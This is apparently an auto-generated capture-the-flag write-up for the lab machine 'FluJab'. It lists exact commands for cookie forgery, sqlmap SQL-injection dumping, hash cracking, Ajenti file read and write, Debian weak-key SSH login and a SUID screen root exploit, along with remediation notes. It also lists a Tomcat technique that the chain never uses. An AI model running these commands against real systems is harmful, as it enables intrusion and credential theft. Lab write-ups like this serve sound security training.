FluJab
Summary
Ports 22 (SSH), 443 (nginx/TLS, "ClownWare Proxy"), and 8080 (same proxy, TLS) were open. Direct IP access to the vhosts was blocked, so the SSL certificate's Subject Alternative Names were pulled from the cert on both TLS ports, revealing the real vhost set: flujab.htb, freeflujab.htb, vaccine4flu.htb, smtp.flujab.htb, sys.flujab.htb, console.flujab.htb, and sysadmin-console-01.flujab.htb. These were added to /etc/hosts for name-based routing to each site.
On the flu-vaccination portal (freeflujab.htb), a Modus cookie set to base64 Configure=True unlocked a hidden /?smtp_config admin panel, letting the SMTP relay target be redirected to an user-controlled listener on port 25. A patient record was registered to obtain a Patient session cookie, then the Registered cookie was forged (base64 of <patient_id>=True) to bypass the normal registration/booking workflow and reach the reminder form.
The nhsnum POST parameter on /?remind was vulnerable to boolean-based blind SQL injection (MySQL backend). Manual boolean-oracle extraction (confirmed and later automated with sqlmap) pulled the vaccinations database, table admin, recovering user sysadm and a SHA256 password hash (a3e30cce4758...508602). John the Ripper cracked the hash against rockyou.txt to the plaintext password shadowtroll.
That credential authenticated to an Ajenti admin panel on sysadmin-console-01.flujab.htb:8080 (/api/core/auth). Ajenti's "notepad" filesystem module allowed arbitrary file read via /view/notepad//etc/passwd-style paths (LFI), used to read /etc/passwd, list /home/drno/.ssh/, and pull authorized_keys and an encrypted RSA private key. A TCP-wrappers rule in /etc/hosts.allow was restricting sshd to specific source IPs; the same Ajenti file-write API was used to add my IP to that allow list. Separately, drno's 4096-bit RSA public key was matched against the precomputed Debian OpenSSL predictable-PRNG weak-key set (CVE-2008-0166, g0tmi1k/debian-ssh corpus), yielding the corresponding plaintext private key without needing the cracked key passphrase. SSH as drno with that weak private key succeeded, capturing user.txt ([REDACTED: flag]).
/usr/bin/screen was setuid root and version 4.05.00 (GNU Screen 4.5.0), vulnerable to CVE-2017-5618 (local privilege escalation via SUID screen, exploit-db 41154.sh). Running that exploit from the drno SSH session obtained a root shell and root.txt ([REDACTED: flag]).
Attack path — how the box was taken
Exact commands 2
echo | openssl s_client -connect $TARGET:443 -servername flujab.htb 2>/dev/null | openssl x509 -noout -ext subjectAltNameecho '$TARGET flujab.htb freeflujab.htb vaccine4flu.htb smtp.flujab.htb sys.flujab.htb console.flujab.htb sysadmin-console-01.flujab.htb' | sudo tee -a /etc/hostsFixRemove internal and administrative hostnames from the public-facing TLS certificateMedium
Exact commands 2
curl -sk -b 'Modus=Q29uZmlndXJlPVRydWU=' 'https://$TARGET/?smtp_config'curl -sk -b 'Modus=Q29uZmlndXJlPVRydWU=' -X POST 'https://$TARGET/?smtp_config' --data 'mailserver=$CALLBACK_HOST&port=25&save=Save+Mail+Server+Config'FixReplace client-side cookie-based feature gating with server-side authenticationCritical
Exact commands 3
curl -sk -X POST 'https://$TARGET/?register' --data 'action=register' -c patient_cookies.txt -v 2>&1 | grep -i 'set-cookie'python3 -c "import base64, sys; print(base64.b64encode(('<patient_id>=True').encode()).decode())"sqlmap -u 'https://$TARGET/?remind' --data 'nhsnum=1' --cookie 'Patient=<patient_cookie>; Registered=<forged_registered>; Modus=Q29uZmlndXJlPVRydWU=' --dbms mysql -D vaccinations -T admin --dump --batch --level 2FixParameterize all SQL queries to prevent injection through the appointment-reminder formCritical
Exact commands 2
echo '<sha256_hash_from_sqlmap>' > hash.txt && john --format=Raw-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt hash.txtjohn --show --format=Raw-SHA256 hash.txtFixRe-hash [REDACTED: recovered credential] passwords using a slow, salted algorithmHigh
Exact commands 4
curl -sk -X POST 'https://$TARGET:8080/api/core/auth' -H 'Content-Type: application/json' -d '{"username":"sysadm","password":"[REDACTED: recovered credential]","mode":"normal"}' -c ajenti.txtcurl -sk -b ajenti.txt 'https://$TARGET:8080/api/filesystem/read//home/drno/.ssh/authorized_keys?encoding=utf-8'curl -sk -b ajenti.txt 'https://$TARGET:8080/api/filesystem/read//home/drno/.ssh/user_key?encoding=utf-8' -o drno_user_keycurl -sk -b ajenti.txt -X POST 'https://$TARGET:8080/api/filesystem/write//etc/hosts.allow' --data-urlencode 'content=sshd: $CALLBACK_HOST'FixRestrict the Ajenti file-manager API to safe paths and remove write access to system filesCritical
Exact commands 3
grep -rl -F "$(awk '{print $2}' /tmp/flujab_drno_authorized_keys)" /tmp/debian-ssh-4096/rsa/4096/*.pubchmod 600 /tmp/debian-ssh-4096/rsa/4096/[REDACTED: protected value]-23269ssh -i /tmp/debian-ssh-4096/rsa/4096/[REDACTED: protected value]-23269 -o BatchMode=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null drno@$TARGET 'id; cat /home/drno/user.txt'FixRevoke and replace all SSH keys generated by vulnerable Debian OpenSSL (CVE-2008-0166)Critical
Exact commands 4
ssh -i /tmp/debian-ssh-4096/rsa/4096/[REDACTED: protected value]-23269 -o StrictHostKeyChecking=no drno@$TARGET 'ls -la /usr/bin/screen; screen -v'searchsploit -p 41154scp -i /tmp/debian-ssh-4096/rsa/4096/[REDACTED: protected value]-23269 -o StrictHostKeyChecking=no /usr/share/exploitdb/exploits/linux/local/41154.sh drno@$TARGET:/tmp/41154.shssh -i /tmp/debian-ssh-4096/rsa/4096/[REDACTED: protected value]-23269 -o StrictHostKeyChecking=no drno@$TARGET 'chmod +x /tmp/41154.sh && bash /tmp/41154.sh && cat /root/root.txt'FixRemove the SUID bit from GNU Screen and upgrade to a patched versionCritical
Attack patterns used
The transferable techniques behind this compromise.
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Tomcat Manager WAR DeployWeb · Service RCET1190
What it is
Apache Tomcat's Manager application allows deploying web applications. With valid (often default/weak) manager credentials, I uploads a malicious WAR file containing a JSP webshell, which Tomcat deploys and executes — code execution as the Tomcat service user.
Why it works
The Manager app is exposed with default or guessable credentials (tomcat:tomcat, admin:admin) and the deploy feature is RCE by design. Remediate by removing/locking down the Manager app, using strong credentials, and binding it to localhost.
Read more
Findings
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx |
| 443/tcp | ssl/https ClownWare Proxy |
| 8080/tcp | ssl/http nginx |